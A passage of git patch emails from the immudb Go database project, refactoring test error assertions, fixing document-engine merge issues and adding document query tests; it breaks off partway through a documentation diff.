TestKvStreamSender_SendErr(t *testing.T) { s := streamtest.DefaultMsgSenderMock(sm, 4096) s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { - return errors.New("custom one") + return errCustom } kvss := NewKvStreamSender(s) @@ -100,5 +99,5 @@ func TestKvStreamSender_SendErr(t *testing.T) { err := kvss.Send(kv) - require.Error(t, err) + require.ErrorIs(t, err, errCustom) } diff --git a/pkg/stream/receiver_test.go b/pkg/stream/receiver_test.go index ae12f6a772..63eb818dd7 100644 --- a/pkg/stream/receiver_test.go +++ b/pkg/stream/receiver_test.go @@ -100,24 +100,27 @@ func TestMsgReceiver_ReadFully_Edge_Cases(t *testing.T) { }) mr = NewMsgReceiver(sm) _, _, err = mr.ReadFully() - require.Equal(t, ErrChunkTooSmall, err.Error()) + require.ErrorContains(t, err, ErrChunkTooSmall) expectedErr := errors.New("unexpected error") sm = streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{ {C: nil, E: expectedErr}, }) + mr = NewMsgReceiver(sm) + _, _, err = mr.ReadFully() - require.Equal(t, expectedErr.Error(), err.Error()) + require.ErrorIs(t, err, expectedErr) sm = streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{ {C: firstChunk, E: nil}, {C: nil, E: expectedErr}, }) + mr = NewMsgReceiver(sm) _, _, err = mr.ReadFully() - require.Equal(t, expectedErr.Error(), err.Error()) + require.ErrorIs(t, err, expectedErr) } func TestMsgReceiver_EmptyStream(t *testing.T) { @@ -133,7 +136,7 @@ func TestMsgReceiver_EmptyStream(t *testing.T) { n, err := mr.Read(message) require.Equal(t, 0, n) - require.Equal(t, io.EOF, err) + require.ErrorIs(t, err, io.EOF) } func TestMsgReceiver_ErrNotEnoughDataOnStream(t *testing.T) { @@ -159,7 +162,7 @@ func TestMsgReceiver_ErrNotEnoughDataOnStream(t *testing.T) { func TestMsgReceiver_StreamRecvError(t *testing.T) { sm := streamtest.DefaultImmuServiceReceiverStreamMock([]*streamtest.ChunkError{ - {C: nil, E: errors.New("NewError!")}, + {C: nil, E: errCustom}, }) mr := NewMsgReceiver(sm) @@ -169,7 +172,7 @@ func TestMsgReceiver_StreamRecvError(t *testing.T) { n, err := mr.Read(message) require.Equal(t, 0, n) - require.Error(t, err) + require.ErrorIs(t, err, errCustom) } func TestMsgReceiver_StreamMsgSent(t *testing.T) { @@ -197,5 +200,5 @@ func TestMsgReceiver_StreamEOF(t *testing.T) { n, err := mr.Read(message) require.Equal(t, 0, n) - require.Equal(t, io.EOF, err) + require.ErrorIs(t, err, io.EOF) } diff --git a/pkg/stream/sender_test.go b/pkg/stream/sender_test.go index c87c3ad41f..ae5af960bc 100644 --- a/pkg/stream/sender_test.go +++ b/pkg/stream/sender_test.go @@ -18,7 +18,6 @@ package stream import ( "bytes" - "errors" "io" "testing" @@ -56,11 +55,11 @@ func TestMsgSender_SendErrReader(t *testing.T) { s := NewMsgSender(sm, 4096) r := &streamtest.ErrReader{ ReadF: func([]byte) (int, error) { - return 0, errors.New("custom one") + return 0, errCustom }, } err := s.Send(r, 5000, nil) - require.Error(t, err) + require.ErrorIs(t, err, errCustom) } func TestMsgSender_SendEmptyReader(t *testing.T) { diff --git a/pkg/stream/ventryparser_test.go b/pkg/stream/ventryparser_test.go index 4c29596c9e..f448964f95 100644 --- a/pkg/stream/ventryparser_test.go +++ b/pkg/stream/ventryparser_test.go @@ -29,27 +29,26 @@ import ( func TestParseVerifiableEntryErrors(t *testing.T) { _, err := ParseVerifiableEntry([]byte("not a proto message"), nil, nil, nil, 0) - require.Error(t, err) + require.ErrorContains(t, err, "cannot parse invalid wire-format data") entryWithoutValueBs, err := proto.Marshal(&schema.Entry{}) require.NoError(t, err) _, err = ParseVerifiableEntry( entryWithoutValueBs, []byte("not a proto message"), nil, nil, 0) - require.Error(t, err) + require.ErrorContains(t, err, "cannot parse invalid wire-format data") verifiableTxBs, err := proto.Marshal(&schema.VerifiableTx{}) require.NoError(t, err) _, err = ParseVerifiableEntry( entryWithoutValueBs, verifiableTxBs, []byte("not a proto message"), nil, 0) - require.Error(t, err) + require.ErrorContains(t, err, "cannot parse invalid wire-format data") inclusionProofBs, err := proto.Marshal(&schema.InclusionProof{}) require.NoError(t, err) valueReader := bufio.NewReader(bytes.NewBuffer([]byte{})) _, err = ParseVerifiableEntry( entryWithoutValueBs, verifiableTxBs, inclusionProofBs, valueReader, 0) - require.Error(t, err) - require.Equal(t, io.EOF, err) + require.ErrorIs(t, err, io.EOF) valueReader = bufio.NewReader(bytes.NewBuffer([]byte("some value"))) _, err = ParseVerifiableEntry( diff --git a/pkg/stream/ventryreceiver_test.go b/pkg/stream/ventryreceiver_test.go index a140deb95f..91e48e04b5 100644 --- a/pkg/stream/ventryreceiver_test.go +++ b/pkg/stream/ventryreceiver_test.go @@ -18,7 +18,6 @@ package stream import ( "bytes" - "errors" "io" "testing" @@ -51,12 +50,12 @@ func TestVEntryStreamReceiver_Next(t *testing.T) { func TestVEntryStreamReceiver_NextErr0(t *testing.T) { me := []*streamtest.MsgError{ - {M: []byte(`first`), E: errors.New("custom")}, + {M: []byte(`first`), E: errCustom}, } r := streamtest.DefaultMsgReceiverMock(me) vsr := NewVEntryStreamReceiver(r, 4096) entryWithoutValueProto, verifiableTxProto, inclusionProofProto, vr, err := vsr.Next() - require.Error(t, err) + require.ErrorIs(t, err, errCustom) require.Nil(t, entryWithoutValueProto) require.Nil(t, verifiableTxProto) require.Nil(t, inclusionProofProto) @@ -66,12 +65,12 @@ func TestVEntryStreamReceiver_NextErr0(t *testing.T) { func TestVEntryStreamReceiver_NextErr1(t *testing.T) { me := []*streamtest.MsgError{ {M: []byte(`first`), E: io.EOF}, - {M: []byte(`second`), E: errors.New("custom")}, + {M: []byte(`second`), E: errCustom}, } r := streamtest.DefaultMsgReceiverMock(me) vsr := NewVEntryStreamReceiver(r, 4096) entryWithoutValueProto, verifiableTxProto, inclusionProofProto, vr, err := vsr.Next() - require.Error(t, err) + require.ErrorIs(t, err, errCustom) require.Nil(t, entryWithoutValueProto) require.Nil(t, verifiableTxProto) require.Nil(t, inclusionProofProto) @@ -82,12 +81,12 @@ func TestVEntryStreamReceiver_NextErr2(t *testing.T) { me := []*streamtest.MsgError{ {M: []byte(`first`), E: io.EOF}, {M: []byte(`second`), E: io.EOF}, - {M: []byte(`third`), E: errors.New("custom")}, + {M: []byte(`third`), E: errCustom}, } r := streamtest.DefaultMsgReceiverMock(me) vsr := NewVEntryStreamReceiver(r, 4096) entryWithoutValueProto, verifiableTxProto, inclusionProofProto, vr, err := vsr.Next() - require.Error(t, err) + require.ErrorIs(t, err, errCustom) require.Nil(t, entryWithoutValueProto) require.Nil(t, verifiableTxProto) require.Nil(t, inclusionProofProto) diff --git a/pkg/stream/ventrysender_test.go b/pkg/stream/ventrysender_test.go index 20d0f6979c..7f5cd14e45 100644 --- a/pkg/stream/ventrysender_test.go +++ b/pkg/stream/ventrysender_test.go @@ -17,7 +17,6 @@ limitations under the License. package stream import ( - "errors" "io" "testing" @@ -64,7 +63,7 @@ func TestVEntryStreamSender_SendErr(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { - return errors.New("custom") + return errCustom } kvss := NewVEntryStreamSender(s) kv := &VerifiableEntry{ @@ -88,5 +87,5 @@ func TestVEntryStreamSender_SendErr(t *testing.T) { err := kvss.Send(kv) - require.Error(t, err) + require.ErrorIs(t, err, errCustom) } diff --git a/pkg/stream/zparser_test.go b/pkg/stream/zparser_test.go index 50aeeddf7a..1403c6f4e4 100644 --- a/pkg/stream/zparser_test.go +++ b/pkg/stream/zparser_test.go @@ -18,6 +18,7 @@ package stream import ( "bytes" + "io" "testing" "github.com/codenotary/immudb/pkg/api/schema" @@ -32,6 +33,6 @@ func TestParseZEntry(t *testing.T) { func TestParseZEntryErr(t *testing.T) { z, err := ParseZEntry([]byte(`set`), []byte(`key`), 87.4, 1, bytes.NewBuffer([]byte{}), 4096) - require.Error(t, err) + require.ErrorIs(t, err, io.EOF) require.Nil(t, z) } diff --git a/pkg/stream/zsender_test.go b/pkg/stream/zsender_test.go index 3c4d0b008c..9ef6c8a765 100644 --- a/pkg/stream/zsender_test.go +++ b/pkg/stream/zsender_test.go @@ -38,10 +38,11 @@ func (msm *msgSenderMock) RecvMsg(m interface{}) error { } func TestZSender(t *testing.T) { + errReceiveMsg := errors.New("receive msg error") // EOF error msm := msgSenderMock{ SendF: func(io.Reader, int, map[string][]byte) error { return io.EOF }, - RecvMsgF: func(interface{}) error { return errors.New("receive msg error") }, + RecvMsgF: func(interface{}) error { return errReceiveMsg }, } zss := NewZStreamSender(&msm) @@ -64,16 +65,15 @@ func TestZSender(t *testing.T) { } err = zss.Send(&zEntry) - require.Error(t, err) - require.Equal(t, errors.New("receive msg error"), err) + require.ErrorIs(t, err, errReceiveMsg) + errSend := errors.New("send error") // other error - msm.SendF = func(io.Reader, int, map[string][]byte) error { return errors.New("send error") } + msm.SendF = func(io.Reader, int, map[string][]byte) error { return errSend } msm.RecvMsgF = func(interface{}) error { return nil } zss = NewZStreamSender(&msm) err = zss.Send(&zEntry) - require.Error(t, err) - require.Equal(t, errors.New("send error"), err) + require.ErrorIs(t, err, errSend) // no error msm.SendF = func(io.Reader, int, map[string][]byte) error { return nil } diff --git a/pkg/streamutils/files_test.go b/pkg/streamutils/files_test.go index 8a6af61fa8..2d158b979b 100644 --- a/pkg/streamutils/files_test.go +++ b/pkg/streamutils/files_test.go @@ -20,9 +20,11 @@ import ( "io/ioutil" "os" "path/filepath" + "syscall" "testing" "github.com/stretchr/testify/require" + "golang.org/x/sys/unix" ) func TestStreamUtilsFiles(t *testing.T) { @@ -30,13 +32,13 @@ func TestStreamUtilsFiles(t *testing.T) { // stat will fail _, err := GetKeyValuesFromFiles(filepath.Join(tmpdir, "non-existant")) - require.Error(t, err) + require.ErrorIs(t, err, syscall.ENOENT) unreadable := filepath.Join(tmpdir, "dir") os.Mkdir(unreadable, 200) // open will fail _, err = GetKeyValuesFromFiles(unreadable) - require.Error(t, err) + require.ErrorIs(t, err, unix.EACCES) valid := filepath.Join(tmpdir, "data") err = ioutil.WriteFile(valid, []byte("content"), 0644) From be85a0e20ba43670d93ed2694da8df7350ca30e6 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 28 Mar 2023 16:44:49 -0300 Subject: [PATCH 0385/1062] test(pkg/stdlib): catch syntax error in test case Signed-off-by: Jeronimo Irazabal --- pkg/stdlib/connection_test.go | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/pkg/stdlib/connection_test.go b/pkg/stdlib/connection_test.go index 0b5348b849..2663d60b20 100644 --- a/pkg/stdlib/connection_test.go +++ b/pkg/stdlib/connection_test.go @@ -23,7 +23,6 @@ import ( "testing" "time" - "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" @@ -109,7 +108,7 @@ func TestConn_QueryContextErr(t *testing.T) { defer db.Close() _, err := db.QueryContext(context.Background(), "query", 10.5) - require.ErrorIs(t, err, sql.ErrInvalidValue) + require.ErrorContains(t, err, "syntax error: unexpected IDENTIFIER") _, err = db.ExecContext(context.Background(), "INSERT INTO myTable(id, name) VALUES (2, 'immu2')") require.ErrorContains(t, err, "table does not exist (mytable)") From ea9abef96568844fb9502a16f13d2d8725f2f1e8 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 29 Mar 2023 15:22:44 +0530 Subject: [PATCH 0386/1062] chore: fix merge issues --- embedded/document/engine.go | 37 +++++++++++--------------- embedded/document/engine_test.go | 19 ++++++------- embedded/sql/stmt.go | 12 +++++++++ go.mod | 2 ++ pkg/database/database.go | 3 --- pkg/database/document_database_test.go | 8 ++---- 6 files changed, 41 insertions(+), 40 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 5b594c12b6..a67ad8f4b6 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -34,7 +34,7 @@ var ( if !ok { return nil, errType } - return sql.NewNumber(int64(value.GetNumberValue())), nil + return sql.NewInteger(int64(value.GetNumberValue())), nil case sql.BLOBType: _, ok := value.GetKind().(*structpb.Value_StructValue) if !ok { @@ -51,13 +51,13 @@ var ( value := &structpb.Value{} switch tv.Type() { case sql.VarcharType: - value.Kind = &structpb.Value_StringValue{StringValue: tv.Value().(string)} + value.Kind = &structpb.Value_StringValue{StringValue: tv.RawValue().(string)} return value, nil case sql.IntegerType: - value.Kind = &structpb.Value_NumberValue{NumberValue: float64(tv.Value().(int64))} + value.Kind = &structpb.Value_NumberValue{NumberValue: float64(tv.RawValue().(int64))} return value, nil case sql.BLOBType: - value.Kind = &structpb.Value_StringValue{StringValue: string(tv.Value().([]byte))} + value.Kind = &structpb.Value_StringValue{StringValue: string(tv.RawValue().([]byte))} return value, nil } @@ -160,7 +160,7 @@ func (d *Engine) CreateDocument(ctx context.Context, collectionName string, doc defer tx.Cancel() // check if collection exists - table, err := tx.Catalog().GetTableByName(d.CurrentDatabase(), collectionName) + table, err := tx.Catalog().GetTableByName(collectionName) if err != nil { return NilDocumentID, err } @@ -220,7 +220,6 @@ func (d *Engine) CreateDocument(ctx context.Context, collectionName string, doc nil, []sql.SQLStmt{ sql.NewUpserIntoStmt( - d.CurrentDatabase(), collectionName, cols, rows, @@ -243,13 +242,8 @@ func (d *Engine) ListCollections(ctx context.Context) (map[string][]*sql.Index, } defer tx.Cancel() - database, err := tx.Catalog().GetDatabaseByName(d.CurrentDatabase()) - if err != nil { - return nil, err - } - collectionMap := make(map[string][]*sql.Index) - for _, table := range database.GetTables() { + for _, table := range tx.Catalog().GetTables() { _, ok := collectionMap[table.Name()] if !ok { collectionMap[table.Name()] = make([]*sql.Index, 0) @@ -268,7 +262,7 @@ func (d *Engine) GetCollection(ctx context.Context, collectionName string) ([]*s defer tx.Cancel() // check if collection exists - table, err := tx.Catalog().GetTableByName(d.CurrentDatabase(), collectionName) + table, err := tx.Catalog().GetTableByName(collectionName) if err != nil { return nil, fmt.Errorf("collection %s does not exist", collectionName) } @@ -308,7 +302,7 @@ func (d *Engine) generateExp(ctx context.Context, collection string, expressions return nil, err } - colSelector := sql.NewColSelector(d.CurrentDatabase(), collection, exp.Field, "") + colSelector := sql.NewColSelector(collection, exp.Field, "") boolExps[i] = sql.NewCmpBoolExp(int(exp.Operator), colSelector, value) } @@ -330,7 +324,7 @@ func (d *Engine) getCollectionSchema(ctx context.Context, collection string) (ma defer tx.Cancel() // check if collection exists - table, err := tx.Catalog().GetTableByName(d.CurrentDatabase(), collection) + table, err := tx.Catalog().GetTableByName(collection) if err != nil { return nil, err } @@ -351,11 +345,10 @@ func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries } op := sql.NewSelectStmt( - d.CurrentDatabase(), collectionName, exp, - limit, - offset, + sql.NewInteger(int64(limit)), + sql.NewInteger(int64(offset)), ) r, err := d.QueryPreparedStmt(ctx, nil, op, nil) @@ -414,7 +407,7 @@ func (d *Engine) DocumentAudit(ctx context.Context, collectionName string, docum } defer tx.Cancel() - table, err := tx.Catalog().GetTableByName(d.CurrentDatabase(), collectionName) + table, err := tx.Catalog().GetTableByName(collectionName) if err != nil { return nil, err } @@ -425,7 +418,7 @@ func (d *Engine) DocumentAudit(ctx context.Context, collectionName string, docum for _, col := range table.PrimaryIndex().Cols() { if col.Name() == defaultDocumentIDField { rval := sql.NewBlob(documentID[:]) - encVal, err := sql.EncodeAsKey(rval.Value(), col.Type(), col.MaxLen()) + encVal, err := sql.EncodeRawValueAsKey(rval.RawValue(), col.Type(), col.MaxLen()) if err != nil { return nil, err } @@ -440,7 +433,7 @@ func (d *Engine) DocumentAudit(ctx context.Context, collectionName string, docum searchKey = sql.MapKey( d.GetPrefix(), sql.PIndexPrefix, - sql.EncodeID(table.Database().ID()), + sql.EncodeID(1), sql.EncodeID(table.ID()), sql.EncodeID(table.PrimaryIndex().ID()), pkEncVals, @@ -475,7 +468,7 @@ func (d *Engine) DocumentAudit(ctx context.Context, collectionName string, docum val, n, err := sql.DecodeValue(v[voff:], sql.BLOBType) if col.Name() == defaultDocumentBLOBField { - res.Value = val.Value().([]byte) + res.Value = val.RawValue().([]byte) break } voff += n diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 6e4703f8d3..991e4b64bb 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -12,6 +12,7 @@ import ( ) func makeEngine(t *testing.T) *Engine { + st, err := store.Open(t.TempDir(), store.DefaultOptions()) require.NoError(t, err) t.Cleanup(func() { @@ -26,15 +27,15 @@ func makeEngine(t *testing.T) *Engine { engine, err := NewEngine(st, opts) require.NoError(t, err) - _, _, err = engine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{ - &sql.CreateDatabaseStmt{DB: "db1"}, - }, nil) - require.NoError(t, err) + // _, _, err = engine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{ + // &sql.CreateDatabaseStmt{DB: "db1"}, + // }, nil) + // require.NoError(t, err) - _, _, err = engine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{ - &sql.UseDatabaseStmt{DB: "db1"}, - }, nil) - require.NoError(t, err) + // _, _, err = engine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{ + // &sql.UseDatabaseStmt{DB: "db1"}, + // }, nil) + // require.NoError(t, err) return engine } @@ -91,7 +92,7 @@ func TestCreateCollection(t *testing.T) { catalog, err := engine.Catalog(context.Background(), nil) require.NoError(t, err) - table, err := catalog.GetTableByName("db1", collectionName) + table, err := catalog.GetTableByName(collectionName) require.NoError(t, err) require.Equal(t, collectionName, table.Name()) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 7768cf5192..58359c58e7 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -1432,6 +1432,10 @@ func (v *NullValue) selectorRanges(table *Table, asTable string, params map[stri return nil } +func NewInteger(val int64) *Integer { + return &Integer{val: val} +} + type Integer struct { val int64 } @@ -3140,6 +3144,14 @@ type CmpBoolExp struct { left, right ValueExp } +func (bexp *CmpBoolExp) Left() ValueExp { + return bexp.left +} + +func (bexp *CmpBoolExp) Right() ValueExp { + return bexp.right +} + func (bexp *CmpBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { tleft, err := bexp.left.inferType(cols, params, implicitTable) if err != nil { diff --git a/go.mod b/go.mod index e4209b0be8..4b2936a10c 100644 --- a/go.mod +++ b/go.mod @@ -100,6 +100,8 @@ require ( github.com/spf13/cast v1.5.0 // indirect github.com/spf13/jwalterweatherman v1.1.0 // indirect github.com/subosito/gotenv v1.3.0 // indirect + github.com/tidwall/match v1.1.1 // indirect + github.com/tidwall/pretty v1.2.0 // indirect golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect golang.org/x/term v0.5.0 // indirect golang.org/x/text v0.7.0 // indirect diff --git a/pkg/database/database.go b/pkg/database/database.go index f629d7041b..3063a624ae 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -231,9 +231,6 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l dbi.txPool = txPool if op.replica { - dbi.sqlEngine.SetMultiDBHandler(multidbHandler) - dbi.documentEngine.SetMultiDBHandler(multidbHandler) - dbi.Logger.Infof("Database '%s' {replica = %v} successfully opened", dbName, op.replica) return dbi, nil } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 6c724e41ef..1bedd02226 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -5,7 +5,6 @@ import ( "os" "testing" - "github.com/codenotary/immudb/embedded/sql" schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/logger" "github.com/stretchr/testify/require" @@ -34,11 +33,8 @@ func makeDocumentDb(t *testing.T) *db { db := d.(*db) - _, _, err = db.documentEngine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{&sql.CreateDatabaseStmt{DB: dbName}}, nil) - require.NoError(t, err) - - err = db.documentEngine.SetCurrentDatabase(context.Background(), dbName) - require.NoError(t, err) + // _, _, err = db.documentEngine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{&sql.CreateDatabaseStmt{DB: dbName}}, nil) + // require.NoError(t, err) return db } From 7f649989742698ca64222d52ad37bf627899cdf3 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 30 Mar 2023 10:41:31 +0530 Subject: [PATCH 0387/1062] chore(embedded/document): fix query stmt generator and add tests --- embedded/document/engine.go | 7 +- embedded/document/engine_test.go | 193 ++++++++++++++++++++++++++++-- embedded/sql/stmt.go | 4 + pkg/database/document_database.go | 2 +- pkg/database/truncator_test.go | 2 +- pkg/integration/client_test.go | 2 +- 6 files changed, 194 insertions(+), 16 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index a67ad8f4b6..2528b57eab 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -280,7 +280,7 @@ func (d *Engine) GetCollection(ctx context.Context, collectionName string) ([]*s } // generateExp generates a boolean expression from a list of expressions. -func (d *Engine) generateExp(ctx context.Context, collection string, expressions []*Query) (*sql.CmpBoolExp, error) { +func (d *Engine) generateExp(ctx context.Context, collection string, expressions []*Query) (sql.ValueExp, error) { if len(expressions) == 0 { return nil, nil } @@ -307,10 +307,11 @@ func (d *Engine) generateExp(ctx context.Context, collection string, expressions } // Combine boolean expressions using AND operator. - result := sql.NewCmpBoolExp(sql.AND, boolExps[0].Left(), boolExps[0].Right()) + var result sql.ValueExp + result = sql.NewCmpBoolExp(boolExps[0].OP(), boolExps[0].Left(), boolExps[0].Right()) for _, exp := range boolExps[1:] { - result = sql.NewCmpBoolExp(sql.AND, result, exp) + result = sql.NewBinBoolExp(sql.AND, result, exp) } return result, nil diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 991e4b64bb..3e13f7f73c 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -2,6 +2,7 @@ package document import ( "context" + "fmt" "testing" "github.com/codenotary/immudb/embedded/sql" @@ -27,16 +28,6 @@ func makeEngine(t *testing.T) *Engine { engine, err := NewEngine(st, opts) require.NoError(t, err) - // _, _, err = engine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{ - // &sql.CreateDatabaseStmt{DB: "db1"}, - // }, nil) - // require.NoError(t, err) - - // _, _, err = engine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{ - // &sql.UseDatabaseStmt{DB: "db1"}, - // }, nil) - // require.NoError(t, err) - return engine } @@ -235,3 +226,185 @@ func TestDocumentAudit(t *testing.T) { require.Contains(t, val, "pincode") require.Contains(t, val, "country") } + +func TestQueryDocument(t *testing.T) { + engine := makeEngine(t) + + // create collection + collectionName := "mycollection" + err := engine.CreateCollection(context.Background(), collectionName, map[string]sql.SQLValueType{ + "pincode": sql.IntegerType, + "country": sql.VarcharType, + "idx": sql.IntegerType, + }) + require.NoError(t, err) + require.NoError(t, err) + + // add documents to collection + for i := 1.0; i <= 10; i++ { + _, err = engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, + "country": { + Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, + }, + "idx": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, + }, + }) + require.NoError(t, err) + } + + t.Run("test query with != operator", func(t *testing.T) { + expressions := []*Query{ + { + Field: "pincode", + Operator: sql.NE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 5}, + }, + }, + } + + doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 20) + require.NoError(t, err) + require.Equal(t, 9, len(doc)) + }) + + t.Run("test query with < operator", func(t *testing.T) { + expressions := []*Query{ + { + Field: "pincode", + Operator: sql.LT, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 11}, + }, + }, + } + + doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 20) + require.NoError(t, err) + require.Equal(t, 10, len(doc)) + }) + + t.Run("test query with <= operator", func(t *testing.T) { + expressions := []*Query{ + { + Field: "pincode", + Operator: sql.LE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 9}, + }, + }, + } + + doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 20) + require.NoError(t, err) + require.Equal(t, 9, len(doc)) + }) + + t.Run("test query with > operator", func(t *testing.T) { + expressions := []*Query{ + { + Field: "pincode", + Operator: sql.GT, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 5}, + }, + }, + } + + doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 20) + require.NoError(t, err) + require.Equal(t, 5, len(doc)) + }) + + t.Run("test query with >= operator", func(t *testing.T) { + expressions := []*Query{ + { + Field: "pincode", + Operator: sql.GE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 10}, + }, + }, + } + + doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 20) + require.NoError(t, err) + require.Equal(t, 1, len(doc)) + }) + + t.Run("test group query with != operator", func(t *testing.T) { + expressions := []*Query{ + { + Field: "pincode", + Operator: sql.NE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 5}, + }, + }, + { + Field: "country", + Operator: sql.NE, + Value: &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "country-6"}, + }, + }, + } + + doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 20) + require.NoError(t, err) + require.Equal(t, 8, len(doc)) + }) + + t.Run("test group query with < operator", func(t *testing.T) { + expressions := []*Query{ + { + Field: "pincode", + Operator: sql.LT, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 11}, + }, + }, + { + Field: "idx", + Operator: sql.LT, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 5}, + }, + }, + } + + doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 20) + require.NoError(t, err) + require.Equal(t, 4, len(doc)) + }) + + t.Run("test group query with > operator", func(t *testing.T) { + expressions := []*Query{ + { + Field: "idx", + Operator: sql.GT, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 7}, + }, + }, + { + Field: "pincode", + Operator: sql.GT, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 5}, + }, + }, + } + + doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 20) + require.NoError(t, err) + require.Equal(t, 3, len(doc)) + }) + +} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 58359c58e7..41cd5e2ee3 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -3152,6 +3152,10 @@ func (bexp *CmpBoolExp) Right() ValueExp { return bexp.right } +func (bexp *CmpBoolExp) OP() CmpOperator { + return bexp.op +} + func (bexp *CmpBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { tleft, err := bexp.left.inferType(cols, params, implicitTable) if err != nil { diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 49ecaf6e7b..3bdf688ca8 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -181,7 +181,7 @@ func (d *db) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditReque TransactionID: log.TxID, Value: &structpb.Struct{ Fields: map[string]*structpb.Value{ - "obj": { + "_obj": { Kind: &structpb.Value_StringValue{StringValue: string(log.Value)}, }, }, diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index b2ebe973e1..3e83a19d88 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -440,7 +440,7 @@ func Test_vlogCompactor_without_data(t *testing.T) { require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) - expectedCommitTx := uint64(3) + expectedCommitTx := uint64(2) // ensure that a transaction is added for the sql catalog commit require.Equal(t, expectedCommitTx, db.st.LastCommittedTxID()) diff --git a/pkg/integration/client_test.go b/pkg/integration/client_test.go index 2e87d942b1..52d8eef0b3 100644 --- a/pkg/integration/client_test.go +++ b/pkg/integration/client_test.go @@ -1059,7 +1059,7 @@ func TestImmuClient_TxScan(t *testing.T) { }) require.IsType(t, &schema.TxList{}, txls) require.NoError(t, err) - require.Len(t, txls.Txs, 4) + require.Len(t, txls.Txs, 3) txls, err = client.TxScan(ctx, &schema.TxScanRequest{ InitialTx: 3, From cde2292a9a1a32a2593cc9b1f3aa11c4ed6a5673 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Thu, 30 Mar 2023 10:42:36 +0200 Subject: [PATCH 0388/1062] Documents update --- pkg/api/documentschema/docs.md | 36 + pkg/api/documentschema/documentschema.pb.go | 983 ++++++++++-------- .../documentschema/documentschema.pb.gw.go | 81 ++ pkg/api/documentschema/documentschema.proto | 21 + .../documentschema.swagger.json | 60 +- .../documentschema/documentschema_grpc.pb.go | 36 + 6 files changed, 811 insertions(+), 406 deletions(-) diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index 440fe250c0..ea3a0f32a9 100644 --- a/pkg/api/documentschema/docs.md +++ 